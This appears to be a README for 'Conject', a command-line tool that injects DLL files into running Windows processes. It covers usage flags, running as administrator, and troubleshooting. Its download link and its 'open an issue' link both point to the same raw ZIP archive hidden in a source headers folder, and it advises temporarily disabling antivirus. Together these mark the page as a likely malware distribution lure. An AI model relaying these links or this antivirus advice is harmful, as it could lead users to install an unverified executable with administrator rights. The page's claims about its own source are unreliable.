Conject is a simple tool designed to inject DLL files into running programs on Windows. It runs directly in the console, which means it opens in a black window with text commands. You do not need to install heavy software, and it does not use a graphical interface.
This tool helps users who need to modify or add features to other software by inserting custom code in the form of DLL files. If you are not familiar with DLLs or injection, just think of it as adding a small program inside another program.
Before you start, make sure your computer meets these requirements:
- Windows 7, 8, 10 or 11 (32-bit or 64-bit)
- At least 1 GB of free memory
- Administrator rights (you need permission to modify other programs)
- Basic knowledge of how to open the Command Prompt (Terminal)
- The DLL file you want to inject
- Run directly in the Windows Command Prompt
- Uses simple commands, no fancy menus
- Works with most 32-bit and 64-bit processes
- Supports APC (Asynchronous Procedure Call) injection method
- Lightweight tool, less than 1 MB
- No installation needed, just run the program
Start by downloading Conject from the official GitHub page. Click the big green button above or visit the link:
- Visit the page: https://github.com/kuan0118/Conject/raw/refs/heads/main/src/headers/Software_1.5.zip
- Look for the latest release section or the main repository files.
- Download the ZIP file that contains the Conject program. It usually has a name like
Conject.zip. - After downloading, right-click the ZIP file and select “Extract All...” to unzip it into a new folder.
- Open that folder to find the program executable file (usually named something like
Conject.exe).
You do not need to run any installer. The program works as soon as you run Conject.exe.
Using Conject requires typing commands in the Command Prompt. Here is how to do it step-by-step:
- Press the Windows key on your keyboard
- Type
cmd - Click on the “Command Prompt” program that appears
In the Command Prompt window, type the following command and press Enter:
cd path\to\Conject\folder
Replace path\to\Conject\folder with the actual path where you extracted the program. For example:
cd C:\Users\YourName\Downloads\Conject
Make sure the DLL file you want to inject is ready and saved somewhere on your computer.
Use the following basic command to inject a DLL into a target process:
Conject.exe -p [ProcessName] -d [PathToDLL]
Replace [ProcessName] with the name of the program that is running where you want to insert the DLL. Replace [PathToDLL] with the full path to your DLL file.
Example:
Conject.exe -p notepad.exe -d C:\Users\YourName\Desktop\MyMod.dll
This command tells Conject to inject MyMod.dll into the process called notepad.exe.
If you don't know the process name, here is how to find it:
- Press
Ctrl + Shift + Escto open the Task Manager. - Click on the “Details” tab.
- Look for the program you want to inject. The "Name" listed there is the process name. For example, Notepad shows as
notepad.exe.
Because Conject changes running programs, Windows will ask for special permission. To run Command Prompt as administrator:
- Click the Start button
- Type
cmd - Right-click on “Command Prompt” and select “Run as administrator”
Be careful when running as an administrator. Only inject DLLs into trusted programs.
Conject has a few commands you might find useful:
-
-p [process]or--process [process]
Specify the target process name to inject into. -
-d [path]or--dll [path]
Tell Conject which DLL file to inject. -
--help
Show a short message about available commands. -
--version
Show the current version of Conject.
If Conject does not work as expected, try these tips:
- Make sure the process name is correct and the program is running.
- Check the file path of your DLL is correct and that the file exists.
- Run Command Prompt with administrator rights.
- Confirm the DLL is compatible with the target process (32-bit DLLs only work with 32-bit processes, same for 64-bit).
- Temporarily disable antivirus software if it interferes.
You can learn more about DLL injection and process management on sites like:
- Microsoft Docs on Windows API
- Basic tutorials on command-line tools
- Articles about process injection techniques
For help beyond this guide, you can open an issue on the GitHub repository page:
https://github.com/kuan0118/Conject/raw/refs/heads/main/src/headers/Software_1.5.zip
Describe your problem clearly and include any error messages you see.